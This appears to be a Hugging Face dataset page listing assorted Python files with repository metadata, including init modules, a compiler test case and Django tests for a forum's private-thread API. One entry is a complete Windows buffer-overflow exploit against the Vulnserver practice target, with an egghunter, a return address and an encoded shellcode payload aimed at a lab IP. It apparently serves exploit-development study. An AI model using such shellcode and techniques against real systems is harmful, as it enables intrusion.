xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

8ccd17b125bc0aaac11ea2968d5539348fadf74f

28

py

Python

pytools/__init__.py

tobyqin/pytools

b60acbd554865c4c593b16f8f81b0b800b482701

[ "MIT" ]

null

pytools/__init__.py

tobyqin/pytools

b60acbd554865c4c593b16f8f81b0b800b482701

[ "MIT" ]

null

pytools/__init__.py

tobyqin/pytools

b60acbd554865c4c593b16f8f81b0b800b482701

[ "MIT" ]

null

def get_hostname(): pass

14

19

0.678571

4

28

4.5

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0

0.214286

28

2

20

14

0.818182

0

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true

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0

1

0

null

0

1

0

null

0

1

0

6

8cd62aff387d24011204f56c344cede45968390c

35

py

Python

carbone_sdk/__init__.py

Ideolys/carbone-sdk-python

7dff1e56912694a5989a5f114e707d8653d2c85a

[ "Apache-2.0" ]

2

2020-07-28T08:57:11.000Z

2021-03-25T11:53:37.000Z

carbone_sdk/__init__.py

Ideolys/carbone-sdk-python

7dff1e56912694a5989a5f114e707d8653d2c85a

[ "Apache-2.0" ]

3

2020-09-12T14:35:26.000Z

2021-04-12T15:03:21.000Z

carbone_sdk/__init__.py

carboneio/carbone-sdk-python

7dff1e56912694a5989a5f114e707d8653d2c85a

[ "Apache-2.0" ]

1

2020-12-04T12:45:38.000Z

from .carbone_sdk import CarboneSDK

35

0.885714

5

35

6

1

0

0.085714

35

1

35

0.9375

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1

0

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null

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1

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1

0

6

8cdcb65eb23bd46d85fa8b377627c6185859e420

13

py

Python

src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

null

src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

null

src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

null

print(2 >= 1)

13

0.538462

3

13

2.333333

1

0

0.181818

0.153846

13

1

13

0.454545

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true

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null

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1

0

1

0

null

0

1

0

1

0

6

506c0f243fd9ffbe2a2ec44535d0742f23988850

2,411

py

Python

3-egghunters/vulnserver-gter/exploit.py

anvbis/windows-exp

309eba877737a21c88cd2e4aa3bed7741560b53c

[ "MIT" ]

null

3-egghunters/vulnserver-gter/exploit.py

anvbis/windows-exp

309eba877737a21c88cd2e4aa3bed7741560b53c

[ "MIT" ]

null

3-egghunters/vulnserver-gter/exploit.py

anvbis/windows-exp

309eba877737a21c88cd2e4aa3bed7741560b53c

[ "MIT" ]

null

#!/usr/bin/env python3 from pwn import * pad = b'\x41' * 147 # 0x625011af: jmp esp ; ret = p32(0x625011af) egghunter = asm(''' loop_inc_page: or dx, 0x0fff loop_inc_one: inc edx push edx push 0x2 pop eax int 0x2e cmp al, 0x5 pop edx je loop_inc_page mov eax, 0x74303077 mov edi, edx scasd jnz loop_inc_one scasd jnz loop_inc_one jmp edi ''') buf = b"w00tw00t" buf += b"\xb8\x1c\x39\x42\xec\xd9\xec\xd9\x74\x24\xf4\x5a\x31" buf += b"\xc9\xb1\x52\x31\x42\x12\x83\xea\xfc\x03\x5e\x37\xa0" buf += b"\x19\xa2\xaf\xa6\xe2\x5a\x30\xc7\x6b\xbf\x01\xc7\x08" buf += b"\xb4\x32\xf7\x5b\x98\xbe\x7c\x09\x08\x34\xf0\x86\x3f" buf += b"\xfd\xbf\xf0\x0e\xfe\xec\xc1\x11\x7c\xef\x15\xf1\xbd" buf += b"\x20\x68\xf0\xfa\x5d\x81\xa0\x53\x29\x34\x54\xd7\x67" buf += b"\x85\xdf\xab\x66\x8d\x3c\x7b\x88\xbc\x93\xf7\xd3\x1e" buf += b"\x12\xdb\x6f\x17\x0c\x38\x55\xe1\xa7\x8a\x21\xf0\x61" buf += b"\xc3\xca\x5f\x4c\xeb\x38\xa1\x89\xcc\xa2\xd4\xe3\x2e" buf += b"\x5e\xef\x30\x4c\x84\x7a\xa2\xf6\x4f\xdc\x0e\x06\x83" buf += b"\xbb\xc5\x04\x68\xcf\x81\x08\x6f\x1c\xba\x35\xe4\xa3" buf += b"\x6c\xbc\xbe\x87\xa8\xe4\x65\xa9\xe9\x40\xcb\xd6\xe9" buf += b"\x2a\xb4\x72\x62\xc6\xa1\x0e\x29\x8f\x06\x23\xd1\x4f" buf += b"\x01\x34\xa2\x7d\x8e\xee\x2c\xce\x47\x29\xab\x31\x72" buf += b"\x8d\x23\xcc\x7d\xee\x6a\x0b\x29\xbe\x04\xba\x52\x55" buf += b"\xd4\x43\x87\xfa\x84\xeb\x78\xbb\x74\x4c\x29\x53\x9e" buf += b"\x43\x16\x43\xa1\x89\x3f\xee\x58\x5a\x80\x47\x18\x7d" buf += b"\x68\x9a\xdc\x90\x35\x13\x3a\xf8\xd5\x75\x95\x95\x4c" buf += b"\xdc\x6d\x07\x90\xca\x08\x07\x1a\xf9\xed\xc6\xeb\x74" buf += b"\xfd\xbf\x1b\xc3\x5f\x69\x23\xf9\xf7\xf5\xb6\x66\x07" buf += b"\x73\xab\x30\x50\xd4\x1d\x49\x34\xc8\x04\xe3\x2a\x11" buf += b"\xd0\xcc\xee\xce\x21\xd2\xef\x83\x1e\xf0\xff\x5d\x9e" buf += b"\xbc\xab\x31\xc9\x6a\x05\xf4\xa3\xdc\xff\xae\x18\xb7" buf += b"\x97\x37\x53\x08\xe1\x37\xbe\xfe\x0d\x89\x17\x47\x32" buf += b"\x26\xf0\x4f\x4b\x5a\x60\xaf\x86\xde\x90\xfa\x8a\x77" buf += b"\x39\xa3\x5f\xca\x24\x54\x8a\x09\x51\xd7\x3e\xf2\xa6" buf += b"\xc7\x4b\xf7\xe3\x4f\xa0\x85\x7c\x3a\xc6\x3a\x7c\x6f" pad = b'\x90' * 32 + egghunter + b'\x41' * (147-32-len(egghunter)) payload = b'GTER /.:/%s' % (pad + ret + b'\xE9\x68\xFF\xFF\xFF') with remote('192.168.122.44', 9999) as r: r.writeline(b'TRUN %s' % buf) with remote('192.168.122.44', 9999) as r: r.writeline(payload)

34.442857

66

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0.070886

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2,411

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false

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1

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6

5075a3d7314060327161c84be8ff62a62aba4c36

28,302

py

Python

misago/threads/tests/test_privatethread_patch_api.py

HenryChenV/iJiangNan

68f156d264014939f0302222e16e3125119dd3e3

[ "MIT" ]

1

2017-07-25T03:04:36.000Z

misago/threads/tests/test_privatethread_patch_api.py

HenryChenV/iJiangNan

68f156d264014939f0302222e16e3125119dd3e3

[ "MIT" ]

null

misago/threads/tests/test_privatethread_patch_api.py

HenryChenV/iJiangNan

68f156d264014939f0302222e16e3125119dd3e3

[ "MIT" ]

null

import json from django.contrib.auth import get_user_model from django.core import mail from misago.acl.testutils import override_acl from misago.threads import testutils from misago.threads.models import Thread, ThreadParticipant from .test_privatethreads import PrivateThreadsTestCase UserModel = get_user_model() class PrivateThreadPatchApiTestCase(PrivateThreadsTestCase): def setUp(self): super(PrivateThreadPatchApiTestCase, self).setUp() self.thread = testutils.post_thread(self.category, poster=self.user) self.api_link = self.thread.get_api_url() self.other_user = UserModel.objects.create_user( 'BobBoberson', 'bob@boberson.com', 'pass123' ) def patch(self, api_link, ops): return self.client.patch(api_link, json.dumps(ops), content_type="application/json") class PrivateThreadAddParticipantApiTests(PrivateThreadPatchApiTestCase): def test_add_participant_not_owner(self): """non-owner can't add participant""" ThreadParticipant.objects.add_participants(self.thread, [self.user]) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.user.username, }, ] ) self.assertContains( response, "be thread owner to add new participants to it", status_code=400 ) def test_add_empty_username(self): """path validates username""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': '', }, ] ) self.assertContains( response, "You have to enter new participant's username.", status_code=400 ) def test_add_nonexistant_user(self): """can't user two times""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': 'InvalidUser', }, ] ) self.assertContains(response, "No user with such name exists.", status_code=400) def test_add_already_participant(self): """can't add user that is already participant""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.user.username, }, ] ) self.assertContains(response, "This user is already thread participant", status_code=400) def test_add_blocking_user(self): """can't add user that is already participant""" ThreadParticipant.objects.set_owner(self.thread, self.user) self.other_user.blocks.add(self.user) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) self.assertContains(response, "BobBoberson is blocking you.", status_code=400) def test_add_no_perm_user(self): """can't add user that has no permission to use private threads""" ThreadParticipant.objects.set_owner(self.thread, self.user) override_acl(self.other_user, {'can_use_private_threads': 0}) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) self.assertContains(response, "BobBoberson can't participate", status_code=400) def test_add_too_many_users(self): """can't add user that is already participant""" ThreadParticipant.objects.set_owner(self.thread, self.user) for i in range(self.user.acl_cache['max_private_thread_participants']): user = UserModel.objects.create_user( 'User{}'.format(i), 'user{}@example.com'.format(i), 'Pass.123' ) ThreadParticipant.objects.add_participants(self.thread, [user]) response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) self.assertContains( response, "You can't add any more new users to this thread.", status_code=400 ) def test_add_user_closed_thread(self): """adding user to closed thread fails for non-moderator""" ThreadParticipant.objects.set_owner(self.thread, self.user) self.thread.is_closed = True self.thread.save() response = self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) self.assertContains( response, "Only moderators can add participants to closed threads.", status_code=400 ) def test_add_user(self): """adding user to thread add user to thread as participant, sets event and emails him""" ThreadParticipant.objects.set_owner(self.thread, self.user) self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) # event was set on thread event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'added_participant') # notification about new private thread was sent to other user self.assertEqual(len(mail.outbox), 1) email = mail.outbox[-1] self.assertIn(self.user.username, email.subject) self.assertIn(self.thread.title, email.subject) def test_add_user_to_other_user_thread_moderator(self): """moderators can add users to other users threads""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) self.thread.has_reported_posts = True self.thread.save() override_acl(self.user, {'can_moderate_private_threads': 1}) self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.user.username, }, ] ) # event was set on thread event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'entered_thread') # notification about new private thread wasn't send because we invited ourselves self.assertEqual(len(mail.outbox), 0) def test_add_user_to_closed_moderator(self): """moderators can add users to closed threads""" ThreadParticipant.objects.set_owner(self.thread, self.user) self.thread.is_closed = True self.thread.save() override_acl(self.user, {'can_moderate_private_threads': 1}) self.patch( self.api_link, [ { 'op': 'add', 'path': 'participants', 'value': self.other_user.username, }, ] ) # event was set on thread event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'added_participant') # notification about new private thread was sent to other user self.assertEqual(len(mail.outbox), 1) email = mail.outbox[-1] self.assertIn(self.user.username, email.subject) self.assertIn(self.thread.title, email.subject) class PrivateThreadRemoveParticipantApiTests(PrivateThreadPatchApiTestCase): def test_remove_empty(self): """api handles empty user id""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': 'string', }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_remove_invalid(self): """api validates user id type""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': 'string', }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_remove_nonexistant(self): """removed user has to be participant""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.other_user.pk, }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_remove_not_owner(self): """api validates if user trying to remove other user is an owner""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.other_user.pk, }, ] ) self.assertContains( response, "be thread owner to remove participants from it", status_code=400 ) def test_owner_remove_user_closed_thread(self): """api disallows owner to remove other user from closed thread""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) self.thread.is_closed = True self.thread.save() response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.other_user.pk, }, ] ) self.assertContains( response, "moderators can remove participants from closed threads", status_code=400 ) def test_user_leave_thread(self): """api allows user to remove himself from thread""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) self.user.subscription_set.create( category=self.category, thread=self.thread, ) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertFalse(response.json()['deleted']) # thread still exists self.assertTrue(Thread.objects.get(pk=self.thread.pk)) # leave event has valid type event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'participant_left') # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # user was removed from participation self.assertEqual(self.thread.participants.count(), 1) self.assertEqual(self.thread.participants.filter(pk=self.user.pk).count(), 0) # thread was removed from user subscriptions self.assertEqual(self.user.subscription_set.count(), 0) def test_user_leave_closed_thread(self): """api allows user to remove himself from closed thread""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) self.thread.is_closed = True self.thread.save() response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertFalse(response.json()['deleted']) # thread still exists self.assertTrue(Thread.objects.get(pk=self.thread.pk)) # leave event has valid type event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'participant_left') # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # user was removed from participation self.assertEqual(self.thread.participants.count(), 1) self.assertEqual(self.thread.participants.filter(pk=self.user.pk).count(), 0) def test_moderator_remove_user(self): """api allows moderator to remove other user""" removed_user = UserModel.objects.create_user('Vigilante', 'test@test.com', 'pass123') ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user, removed_user]) override_acl(self.user, {'can_moderate_private_threads': True}) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': removed_user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertFalse(response.json()['deleted']) # thread still exists self.assertTrue(Thread.objects.get(pk=self.thread.pk)) # leave event has valid type event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'participant_removed') # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=removed_user.pk).sync_unread_private_threads) # user was removed from participation self.assertEqual(self.thread.participants.count(), 2) self.assertEqual(self.thread.participants.filter(pk=removed_user.pk).count(), 0) def test_owner_remove_user(self): """api allows owner to remove other user""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.other_user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertFalse(response.json()['deleted']) # thread still exists self.assertTrue(Thread.objects.get(pk=self.thread.pk)) # leave event has valid type event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'participant_removed') # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # user was removed from participation self.assertEqual(self.thread.participants.count(), 1) self.assertEqual(self.thread.participants.filter(pk=self.other_user.pk).count(), 0) def test_owner_leave_thread(self): """api allows owner to remove hisemf from thread, causing thread to close""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertFalse(response.json()['deleted']) # thread still exists and is closed self.assertTrue(Thread.objects.get(pk=self.thread.pk).is_closed) # leave event has valid type event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'owner_left') # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # user was removed from participation self.assertEqual(self.thread.participants.count(), 1) self.assertEqual(self.thread.participants.filter(pk=self.user.pk).count(), 0) def test_last_user_leave_thread(self): """api allows last user leave thread, causing thread to delete""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'remove', 'path': 'participants', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) self.assertTrue(response.json()['deleted']) # thread is gone with self.assertRaises(Thread.DoesNotExist): Thread.objects.get(pk=self.thread.pk) # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) class PrivateThreadTakeOverApiTests(PrivateThreadPatchApiTestCase): def test_empty_user_id(self): """api handles empty user id""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': '', }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_invalid_user_id(self): """api handles invalid user id""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': 'dsadsa', }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_nonexistant_user_id(self): """api handles nonexistant user id""" ThreadParticipant.objects.set_owner(self.thread, self.user) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.other_user.pk, }, ] ) self.assertContains(response, "Participant doesn't exist.", status_code=400) def test_no_permission(self): """non-moderator/owner can't change owner""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.user.pk, }, ] ) self.assertContains( response, "thread owner and moderators can change threads owners", status_code=400 ) def test_no_change(self): """api validates that new owner id is same as current owner""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.user.pk, }, ] ) self.assertContains(response, "This user already is thread owner.", status_code=400) def test_change_closed_thread_owner(self): """non-moderator can't change owner in closed thread""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) self.thread.is_closed = True self.thread.save() response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.other_user.pk, }, ] ) self.assertContains( response, "Only moderators can change closed threads owners.", status_code=400 ) def test_owner_change_thread_owner(self): """owner can pass thread ownership to other participant""" ThreadParticipant.objects.set_owner(self.thread, self.user) ThreadParticipant.objects.add_participants(self.thread, [self.other_user]) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.other_user.pk, }, ] ) self.assertEqual(response.status_code, 200) # valid users were flagged for sync self.assertFalse(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # ownership was transfered self.assertEqual(self.thread.participants.count(), 2) self.assertTrue(ThreadParticipant.objects.get(user=self.other_user).is_owner) self.assertFalse(ThreadParticipant.objects.get(user=self.user).is_owner) # change was recorded in event event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'changed_owner') def test_moderator_change_owner(self): """moderator can change thread owner to other user""" new_owner = UserModel.objects.create_user('NewOwner', 'new@owner.com', 'pass123') ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user, new_owner]) override_acl(self.user, {'can_moderate_private_threads': 1}) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': new_owner.pk, }, ] ) self.assertEqual(response.status_code, 200) # valid users were flagged for sync self.assertTrue(UserModel.objects.get(pk=new_owner.pk).sync_unread_private_threads) self.assertFalse(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # ownership was transfered self.assertEqual(self.thread.participants.count(), 3) self.assertTrue(ThreadParticipant.objects.get(user=new_owner).is_owner) self.assertFalse(ThreadParticipant.objects.get(user=self.user).is_owner) self.assertFalse(ThreadParticipant.objects.get(user=self.other_user).is_owner) # change was recorded in event event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'changed_owner') def test_moderator_takeover(self): """moderator can takeover the thread""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) override_acl(self.user, {'can_moderate_private_threads': 1}) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) # valid users were flagged for sync self.assertFalse(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # ownership was transfered self.assertEqual(self.thread.participants.count(), 2) self.assertTrue(ThreadParticipant.objects.get(user=self.user).is_owner) self.assertFalse(ThreadParticipant.objects.get(user=self.other_user).is_owner) # change was recorded in event event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'tookover') def test_moderator_closed_thread_takeover(self): """moderator can takeover closed thread thread""" ThreadParticipant.objects.set_owner(self.thread, self.other_user) ThreadParticipant.objects.add_participants(self.thread, [self.user]) self.thread.is_closed = True self.thread.save() override_acl(self.user, {'can_moderate_private_threads': 1}) response = self.patch( self.api_link, [ { 'op': 'replace', 'path': 'owner', 'value': self.user.pk, }, ] ) self.assertEqual(response.status_code, 200) # valid users were flagged for sync self.assertFalse(UserModel.objects.get(pk=self.user.pk).sync_unread_private_threads) self.assertTrue(UserModel.objects.get(pk=self.other_user.pk).sync_unread_private_threads) # ownership was transfered self.assertEqual(self.thread.participants.count(), 2) self.assertTrue(ThreadParticipant.objects.get(user=self.user).is_owner) self.assertFalse(ThreadParticipant.objects.get(user=self.other_user).is_owner) # change was recorded in event event = self.thread.post_set.order_by('id').last() self.assertTrue(event.is_event) self.assertTrue(event.event_type, 'tookover')

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507647b1faff3de1b90d05bf726bcfde42419caf

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py

Python

vega/networks/tensorflow/customs/edvr/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

724

2020-06-22T12:05:30.000Z

2022-03-31T07:10:54.000Z

vega/networks/tensorflow/customs/edvr/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

147

2020-06-30T13:34:46.000Z

2022-03-29T11:30:17.000Z

vega/networks/tensorflow/customs/edvr/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

160

2020-06-29T18:27:58.000Z

2022-03-23T08:42:21.000Z

from .edvr import EDVR

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py

Python

ruledxml/tests/data/003_rules.py

meisterluk/ruledxml

2c66f0b7a931479c7ce3ab6877b1b4ea202f902a

[ "BSD-3-Clause" ]

null

ruledxml/tests/data/003_rules.py

meisterluk/ruledxml

2c66f0b7a931479c7ce3ab6877b1b4ea202f902a

[ "BSD-3-Clause" ]

null

ruledxml/tests/data/003_rules.py

meisterluk/ruledxml

2c66f0b7a931479c7ce3ab6877b1b4ea202f902a

[ "BSD-3-Clause" ]

null

from ruledxml import destination @destination("/root/nested/child@attr") def ruleNestedElement(): return 3.5

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6

0fc3f424cdb67ef19efcc1abf5a2b229e45dda2b

93

py

Python

visdialch/utils/__init__.py

xiaoxiaoheimei/SeqDialN

0675a4e3737a2f849e273123330ad6fddbfb2fba

[ "BSD-3-Clause" ]

4

2020-10-04T15:54:49.000Z

2021-12-11T13:10:01.000Z

visdialch/utils/__init__.py

xiaoxiaoheimei/SeqDialN

0675a4e3737a2f849e273123330ad6fddbfb2fba

[ "BSD-3-Clause" ]

null

visdialch/utils/__init__.py

xiaoxiaoheimei/SeqDialN

0675a4e3737a2f849e273123330ad6fddbfb2fba

[ "BSD-3-Clause" ]

2

2021-06-06T11:02:51.000Z

2021-10-06T08:41:02.000Z

from .dynamic_rnn import DynamicRNN # noqa: F401 from .dynamic_rnn_v2 import DynamicRNN_v2

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0fd3d527e64bcb9e4929faf275ae9b0f0cc8e72d

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py

Python

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

5

2021-06-02T23:44:25.000Z

2021-12-27T16:21:57.000Z

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

22

2021-05-31T01:33:25.000Z

2021-10-18T18:32:39.000Z

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

3

2021-06-19T03:37:47.000Z

2021-08-31T00:49:51.000Z

# You can use double or single quotes: print("Hello") print("Hello")

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py

Python

src/masonite/contracts/managers/BroadcastManagerContract.py

Abeautifulsnow/masonite

f0ebb5ca05f5d88f21264e1cd0934435bd0a8791

[ "MIT" ]

95

2018-02-22T23:54:00.000Z

2021-04-17T03:39:21.000Z

src/masonite/contracts/managers/BroadcastManagerContract.py

Abeautifulsnow/masonite

f0ebb5ca05f5d88f21264e1cd0934435bd0a8791

[ "MIT" ]

840

2018-01-27T04:26:20.000Z

2021-01-24T12:28:58.000Z

src/masonite/contracts/managers/BroadcastManagerContract.py

Abeautifulsnow/masonite

f0ebb5ca05f5d88f21264e1cd0934435bd0a8791

[ "MIT" ]

100

2018-02-23T00:19:55.000Z

2020-08-28T07:59:31.000Z

from abc import ABC class BroadcastManagerContract(ABC): pass

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e89fc261947566b3c22973788846412696bd202f

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py

Python

plugin/src/test/resources/optimizeImports/order.after.py

consulo/consulo-python

586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d

[ "Apache-2.0" ]

null

plugin/src/test/resources/optimizeImports/order.after.py

consulo/consulo-python

586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d

[ "Apache-2.0" ]

11

2017-02-27T22:35:32.000Z

2021-12-24T08:07:40.000Z

plugin/src/test/resources/optimizeImports/order.after.py

consulo/consulo-python

586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d

[ "Apache-2.0" ]

null

import sys import datetime import foo from bar import * sys.path datetime.datetime

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0

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6

2cdf9742f1bc0a3e7c46bb42bc17871b2b79239e

153

py

Python

mass/simulation/__init__.py

SBRG/MASSpy

1315c1d40be8feb8731c8143dbc9ba43bf8c78ff

[ "MIT" ]

13

2020-07-13T00:48:13.000Z

2022-01-27T15:42:15.000Z

mass/simulation/__init__.py

SBRG/MASSpy

1315c1d40be8feb8731c8143dbc9ba43bf8c78ff

[ "MIT" ]

10

2021-02-17T18:07:43.000Z

2022-02-23T16:22:14.000Z

mass/simulation/__init__.py

SBRG/MASSpy

1315c1d40be8feb8731c8143dbc9ba43bf8c78ff

[ "MIT" ]

9

2020-01-15T00:48:49.000Z

2022-03-04T07:01:17.000Z

# -*- coding: utf-8 -*- from mass.simulation.ensemble import generate_ensemble_of_models from mass.simulation.simulation import Simulation __all__ = ()

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fa3941be932cc5aedf99f5f0bf591d2377ba2865

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py

Python

notebooks/project_functions1.py

data301-2021-winter1/project-group23-project

ae8809e5707c35838db15e140b5932a3538e8176

[ "MIT" ]

null

notebooks/project_functions1.py

data301-2021-winter1/project-group23-project

ae8809e5707c35838db15e140b5932a3538e8176

[ "MIT" ]

null

notebooks/project_functions1.py

data301-2021-winter1/project-group23-project

ae8809e5707c35838db15e140b5932a3538e8176

[ "MIT" ]

null

